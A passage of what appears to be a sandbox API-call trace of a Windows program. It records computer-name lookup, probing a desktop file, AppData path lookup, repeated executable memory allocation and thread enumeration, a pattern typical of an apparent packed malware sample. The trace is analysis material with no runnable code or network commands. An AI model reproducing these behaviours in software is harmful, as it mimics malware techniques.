out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.297] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.297] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.297] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.297] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.297] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.297] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.297] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.297] CloseHandle (hObject=0x0) returned 0 [0145.298] CloseHandle (hObject=0xffffffff) returned 1 [0145.298] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.298] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.298] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.298] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.298] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.298] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.298] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.298] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.298] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.298] CloseHandle (hObject=0x0) returned 0 [0145.298] CloseHandle (hObject=0xffffffff) returned 1 [0145.461] CreatePen (iStyle=0, cWidth=1, color=0xb99d7f) returned 0x3530052a [0145.461] CreateWindowExA (dwExStyle=0x0, lpClassName="SysTreeView32", lpWindowName="", dwStyle=0x50000307, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x0) returned 0x0 [0145.461] lstrlenA (lpString="") returned 0 [0145.462] SendMessageA (hWnd=0x0, Msg=0x1100, wParam=0x0, lParam=0x19f4e0) returned 0x0 [0145.462] CreateFileA (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0145.462] DeviceIoControl (in: hDevice=0xffffffff, dwIoControlCode=0x900c0, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x19f4e0, nOutBufferSize=0x40, lpBytesReturned=0x19f428, lpOverlapped=0x0 | out: lpOutBuffer=0x19f4e0, lpBytesReturned=0x19f428, lpOverlapped=0x0) returned 0 [0145.462] StringFromGUID2 (in: rguid=0x19f4c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lpsz=0x19f530, cchMax=39 | out: lpsz="{00000000-0000-0000-0000-000000000000}") returned 39 [0145.462] EnumSystemGeoID (GeoClass=0x10, ParentGeoId=0x0, lpGeoEnumProc=0x2200000) [0145.463] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0145.463] GetModuleHandleA (lpModuleName="advapi32") returned 0x761b0000 [0145.530] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0145.728] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.732] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0145.980] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.985] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0146.287] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.292] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0146.404] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.408] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0146.531] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.536] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0146.640] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.674] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0146.782] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.787] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0146.939] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.943] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0147.053] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.057] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0147.183] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.188] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0147.392] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.397] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0147.576] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.580] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0147.696] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.700] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0147.874] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.877] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0148.048] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.053] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0148.221] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.225] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0148.338] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.342] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0148.487] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.498] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0148.622] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.626] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0148.743] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.747] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0149.011] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.015] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0149.224] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.227] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0149.339] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.343] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0149.465] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.469] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0149.589] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.593] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0149.846] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.851] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0149.970] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.975] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0150.097] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0150.106] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0150.214] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0150.218] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0150.316] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0150.320] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0150.415] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0150.419] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0150.544] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0150.548] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0150.657] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0150.663] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0150.768] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0150.772] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0151.078] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0151.084] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0151.326] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0151.331] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0151.528] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0151.533] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0151.738] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0151.745] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0151.892] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0151.905] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0152.162] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.168] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0152.416] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.447] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0152.596] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.601] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0152.713] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.717] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0152.835] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.839] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0152.952] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.956] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0153.110] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0153.114] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0153.222] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0153.227] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0153.423] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0153.428] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0153.549] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0153.553] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0153.660] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0153.674] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0153.675] GetModuleHandleA (lpModuleName="advapi32") returned 0x761b0000 [0153.697] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0153.697] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x328 [0153.705] Thread32First (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.705] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.706] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.707] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.708] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.708] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.709] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.710] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.710] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.711] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.712] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.712] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.721] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.721] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.722] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.723] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.724] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.724] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.725] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.726] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.727] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.727] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.728] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.729] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.729] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.730] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.731] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.732] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.732] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.733] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.734] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.734] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.735] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.736] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.736] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.737] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.738] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.739] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.739] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.740] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.741] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.741] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.742] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.743] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.744] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.744] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.745] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.746] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.746] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.747] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.748] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.748] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.749] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.749] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.750] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.751] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.751] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.752] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.752] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.753] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.754] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.762] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.763] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.764] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.765] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.765] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.766] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.767] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.767] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.768] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.769] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.770] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.771] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.771] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.772] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.773] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.773] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.774] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.775] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.776] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.776] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.777] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.778] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.778] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.779] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.780] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.781] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.782] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.783] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.784] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.784] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.785] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.786] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.787] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.787] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.788] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.789] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.790] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.790] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.791] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.792] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.792] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.793] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.794] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.794] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.795] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.795] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.796] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.796] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.797] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.798] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.798] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.799] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.799] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.800] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.807] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.808] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.808] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.809] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.809] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.810] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.811] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.811] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.812] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.812] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.813] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.813] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.814] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.814] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.815] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.815] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.816] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.816] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.817] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.818] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.818] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.819] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.819] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.820] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.821] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.821] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.822] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.822] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.823] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.823] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.824] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.824] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.825] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.826] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.826] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.827] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.827] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.828] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.828] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.829] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.829] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.830] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.831] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.831] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.832] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.832] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.833] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.833] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.834] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.834] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.835] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.836] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.836] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.837] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.837] Thread32Next 